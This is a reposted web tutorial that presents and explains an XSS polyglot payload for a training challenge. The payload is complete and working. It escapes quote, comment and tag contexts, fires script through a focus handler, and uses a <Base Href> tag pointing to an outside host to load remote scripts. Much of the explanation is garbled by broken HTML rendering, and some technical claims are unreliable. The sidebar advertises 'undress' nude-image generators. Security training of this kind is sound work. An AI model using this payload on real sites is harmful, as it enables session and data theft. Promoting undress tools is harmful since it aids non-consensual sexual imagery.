search
HomeWeb Front-endJS TutorialPolyglot solve most of Training XSS Muscles Challenge

Polyglot solve most of Training XSS Muscles Challenge

JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

Core Idea:
This payload is designed to bypass several XSS filters and security mechanisms by working in various HTML contexts. It uses a combination of HTML and JavaScript tricks to inject a malicious payload, such as the alert() function, in a variety of ways.

Top-Level Concepts:
Polyglot Basics:
A polyglot is a payload that can execute in multiple contexts, typically both in HTML, attributes, or JavaScript contexts, making it more versatile for exploiting XSS vulnerabilities.
The goal of this payload is to inject JavaScript and execute alert(1) across multiple contexts while bypassing filters.
Polyglot Sections:
JavaScript Execution with Optional Chaining:

JavaScript://%250Aalert?.(1)//

The JavaScript protocol triggers the payload in browsers that interpret JavaScript from URL protocols.
%250A is the URL-encoded form of a newline character (\n), used to bypass URL validation or escape filters.
alert?.(1) is an optional chaining syntax in JavaScript. It executes alert(1) if alert exists, bypassing strict checks on direct calls to alert().
// terminates the rest of the payload as a comment to avoid errors.
HTML Tag Breakouts:

/////

This section attempts to break out of various HTML tags like

, <style>, <script>, <textarea>, and others.<br> It ends the tags early (</...>) so that JavaScript can be executed right after the tag, bypassing filtering or restrictions based on tag contexts.<br> It’s compact since it doesn’t close each tag properly; just one closing symbol (>) suffices for all.<br> Quote Breakouts:<br> <pre class="brush:php;toolbar:false">/*'/*\'/*"/*\"/*\/%26apos;)/<!-->` <p>This section handles breaking out of quote contexts (", ', `). It uses JavaScript comments(/.../) to inject and terminate multiline comment blocks that might be initiated by filters.<br> /<em>.../ is useful for multiline comments and ignoring filter checks.<br> %26apos;) is an HTML entity escape code for ', used to break out of attributes or string contexts that use HTML entities for sanitization.<br> Event Handler and Execution: <p>`<br> \74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//><br> `<br> \74k<K is a trick to insert an arbitrary tag where \74 is the octal representation of <. This works to bypass filters that sanitize < by converting it into an octal entity.<br> K is an arbitrary tag (can be any character) with the attributes contentEditable, autoFocus, and OnFocus.<br> The OnFocus=/**/{(alert)(1)} ensures that when the element gains focus, it executes the alert(1) function.<br> Advanced Evasion Techniques: <p>`<br> <Base/Href=//X55.is\76--><br> `<br> <Base> is used for CSP bypass. If the base URL is set to a malicious domain like //X55.is, relative URL references to scripts or assets can trigger cross-origin requests, executing external malicious scripts.<br> /76 is the octal code for >, and it's used to properly close the tag while bypassing filters that escape < and >. This is part of the trick where octal escapes are converted back into characters.<br> HTML Comment Insertion: <p><!--> is a simple HTML comment injection that ends any HTML comment block started by a filter, allowing the payload to escape the context.<br> Polyglot Logic:<br> Bypassing HTML Filters: The polyglot uses tag closings, quote breakouts, and event handlers to escape multiple HTML tags and execute JavaScript in different contexts.<br> Bypassing JavaScript Filters: Through commenting techniques (/<em>.../, //) and quote escapes, it handles multiline scripts and prevents syntax errors.<br> Filter Evasion: By using HTML entities, optional chaining, and octal escapes, it bypasses common sanitization filters and CSP rules.<br> Mind Map Summary:<br> Polyglot Core:<br> JavaScript Execution (alert?.(1))<br> HTML Context Breakouts ()<br> JavaScript String Injection:<br> Escape Quotes (/<em>'/\'/<em>"/)<br> Inline Comments and Multiline Escapes (//, /<em>.../)<br> HTML Tag Evasion:<br> Tag Close Breakouts ()<br> Arbitrary Tag Injection with Event Handler ()<br> Advanced Tricks:<br> Octal Encoding for < and > (\74 and \76)<br> CSP Bypass using and external URL (Base/Href=//X55.is)<br> Final Injection: <blockquote> <p>Mixed context polyglot triggering across multiple browsers and scenarios.<br> This polyglot is highly effective in breaking out of multiple contexts, evading JavaScript string handling and HTML tag closures, and executing in both </style>

The above is the detailed content of Polyglot solve most of Training XSS Muscles Challenge. For more information, please follow other related articles on the PHP Chinese website!

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Replace String Characters in JavaScriptReplace String Characters in JavaScriptMar 11, 2025 am 12:07 AM

Detailed explanation of JavaScript string replacement method and FAQ This article will explore two ways to replace string characters in JavaScript: internal JavaScript code and internal HTML for web pages. Replace string inside JavaScript code The most direct way is to use the replace() method: str = str.replace("find","replace"); This method replaces only the first match. To replace all matches, use a regular expression and add the global flag g: str = str.replace(/fi

Custom Google Search API Setup TutorialCustom Google Search API Setup TutorialMar 04, 2025 am 01:06 AM

This tutorial shows you how to integrate a custom Google Search API into your blog or website, offering a more refined search experience than standard WordPress theme search functions. It's surprisingly easy! You'll be able to restrict searches to y

Build Your Own AJAX Web ApplicationsBuild Your Own AJAX Web ApplicationsMar 09, 2025 am 12:11 AM

So here you are, ready to learn all about this thing called AJAX. But, what exactly is it? The term AJAX refers to a loose grouping of technologies that are used to create dynamic, interactive web content. The term AJAX, originally coined by Jesse J

Example Colors JSON FileExample Colors JSON FileMar 03, 2025 am 12:35 AM

This article series was rewritten in mid 2017 with up-to-date information and fresh examples. In this JSON example, we will look at how we can store simple values in a file using JSON format. Using the key-value pair notation, we can store any kind

8 Stunning jQuery Page Layout Plugins8 Stunning jQuery Page Layout PluginsMar 06, 2025 am 12:48 AM

Leverage jQuery for Effortless Web Page Layouts: 8 Essential Plugins jQuery simplifies web page layout significantly. This article highlights eight powerful jQuery plugins that streamline the process, particularly useful for manual website creation

What is 'this' in JavaScript?What is 'this' in JavaScript?Mar 04, 2025 am 01:15 AM

Core points This in JavaScript usually refers to an object that "owns" the method, but it depends on how the function is called. When there is no current object, this refers to the global object. In a web browser, it is represented by window. When calling a function, this maintains the global object; but when calling an object constructor or any of its methods, this refers to an instance of the object. You can change the context of this using methods such as call(), apply(), and bind(). These methods call the function using the given this value and parameters. JavaScript is an excellent programming language. A few years ago, this sentence was

Improve Your jQuery Knowledge with the Source ViewerImprove Your jQuery Knowledge with the Source ViewerMar 05, 2025 am 12:54 AM

jQuery is a great JavaScript framework. However, as with any library, sometimes it’s necessary to get under the hood to discover what’s going on. Perhaps it’s because you’re tracing a bug or are just curious about how jQuery achieves a particular UI

10 Mobile Cheat Sheets for Mobile Development10 Mobile Cheat Sheets for Mobile DevelopmentMar 05, 2025 am 12:43 AM

This post compiles helpful cheat sheets, reference guides, quick recipes, and code snippets for Android, Blackberry, and iPhone app development. No developer should be without them! Touch Gesture Reference Guide (PDF) A valuable resource for desig

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
Repo: How To Revive Teammates
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.

Atom editor mac version download

Atom editor mac version download

The most popular open source editor

SublimeText3 Linux new version

SublimeText3 Linux new version

SublimeText3 Linux latest version